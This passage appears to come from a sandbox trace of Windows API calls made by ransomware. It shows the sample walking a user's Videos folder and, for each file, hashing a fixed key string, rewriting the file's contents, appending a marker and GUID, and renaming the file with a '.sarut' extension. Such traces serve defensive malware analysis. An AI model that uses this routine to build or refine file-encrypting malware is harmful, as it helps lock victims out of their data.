lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.303] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.303] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.304] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.304] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.304] CloseHandle (hObject=0x5c4) returned 1 [0269.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.308] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1wkpap.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1wkpap.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1wkpap.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1wkpap.mkv.sarut")) returned 1 [0269.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.309] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.310] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1684f0, ftCreationTime.dwHighDateTime=0x1d4d519, ftLastAccessTime.dwLowDateTime=0xaa2e07c0, ftLastAccessTime.dwHighDateTime=0x1d4cf00, ftLastWriteTime.dwLowDateTime=0xaa2e07c0, ftLastWriteTime.dwHighDateTime=0x1d4cf00, nFileSizeHigh=0x0, nFileSizeLow=0xe675, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4wuSJ8EnkH3MW.swf", cAlternateFileName="4WUSJ8~1.SWF")) returned 1 [0269.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.310] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4wuSJ8EnkH3MW.swf") returned=".swf" [0269.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4wuSJ8EnkH3MW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4wusj8enkh3mw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.311] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=58997) returned 1 [0269.311] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.313] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe64f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.313] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.314] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.314] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.314] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xe675, lpOverlapped=0x0) returned 1 [0269.315] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.315] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.315] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.315] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.315] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.316] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.316] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.316] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.316] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.316] GetLastError () returned 0x0 [0269.316] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.316] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe680) returned 0x311d708 [0269.316] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.316] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xe670, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xe670, lpOverlapped=0x0) returned 1 [0269.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.317] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe675, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.317] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.317] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.317] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.317] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.317] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.317] CloseHandle (hObject=0x5c4) returned 1 [0269.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.320] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4wuSJ8EnkH3MW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4wusj8enkh3mw.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4wuSJ8EnkH3MW.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4wusj8enkh3mw.swf.sarut")) returned 1 [0269.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.321] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.322] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69938d0, ftCreationTime.dwHighDateTime=0x1d4d01f, ftLastAccessTime.dwLowDateTime=0x95657520, ftLastAccessTime.dwHighDateTime=0x1d4c8e4, ftLastWriteTime.dwLowDateTime=0x95657520, ftLastWriteTime.dwHighDateTime=0x1d4c8e4, nFileSizeHigh=0x0, nFileSizeLow=0x53ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8caLHfAk0PaW.avi", cAlternateFileName="8CALHF~1.AVI")) returned 1 [0269.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.322] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8caLHfAk0PaW.avi") returned=".avi" [0269.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8caLHfAk0PaW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8calhfak0paw.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.323] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=21486) returned 1 [0269.323] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.325] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x53c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.325] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.327] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.327] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x53ee, lpOverlapped=0x0) returned 1 [0269.327] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.328] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.328] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.328] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.329] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.329] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.329] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.329] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.329] GetLastError () returned 0x0 [0269.329] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.329] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x53f0) returned 0x311d708 [0269.329] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.329] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x53e9, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x53e9, lpOverlapped=0x0) returned 1 [0269.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.330] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x53ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.330] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.330] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.330] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.330] CloseHandle (hObject=0x5c4) returned 1 [0269.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.332] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8caLHfAk0PaW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8calhfak0paw.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8caLHfAk0PaW.avi.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8calhfak0paw.avi.sarut")) returned 1 [0269.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.333] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.334] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d26250, ftCreationTime.dwHighDateTime=0x1d4ce30, ftLastAccessTime.dwLowDateTime=0x8157e70, ftLastAccessTime.dwHighDateTime=0x1d4d250, ftLastWriteTime.dwLowDateTime=0x8157e70, ftLastWriteTime.dwHighDateTime=0x1d4d250, nFileSizeHigh=0x0, nFileSizeLow=0x18dea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8rejvdNsx1W.flv", cAlternateFileName="8REJVD~1.FLV")) returned 1 [0269.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.334] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.334] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8rejvdNsx1W.flv") returned=".flv" [0269.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8rejvdNsx1W.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8rejvdnsx1w.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.336] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=101866) returned 1 [0269.336] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.338] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.338] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0269.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0269.340] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.340] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x18dea, lpOverlapped=0x0) returned 1 [0269.342] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.342] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.342] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.342] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.343] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.343] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.343] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.343] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.343] GetLastError () returned 0x0 [0269.343] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.343] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.343] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18df0) returned 0x311d708 [0269.344] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.344] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x18de5, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x18de5, lpOverlapped=0x0) returned 1 [0269.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.344] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18dea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.345] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.345] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.345] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.345] CloseHandle (hObject=0x5c4) returned 1 [0269.352] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.352] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.352] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.353] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8rejvdNsx1W.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8rejvdnsx1w.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8rejvdNsx1W.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8rejvdnsx1w.flv.sarut")) returned 1 [0269.353] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.353] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.354] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1b92750, ftCreationTime.dwHighDateTime=0x1d4cdf2, ftLastAccessTime.dwLowDateTime=0xa123720, ftLastAccessTime.dwHighDateTime=0x1d4cc21, ftLastWriteTime.dwLowDateTime=0xa123720, ftLastWriteTime.dwHighDateTime=0x1d4cc21, nFileSizeHigh=0x0, nFileSizeLow=0xe0c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="90ZHyHwir.mp4", cAlternateFileName="90ZHYH~1.MP4")) returned 1 [0269.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.354] 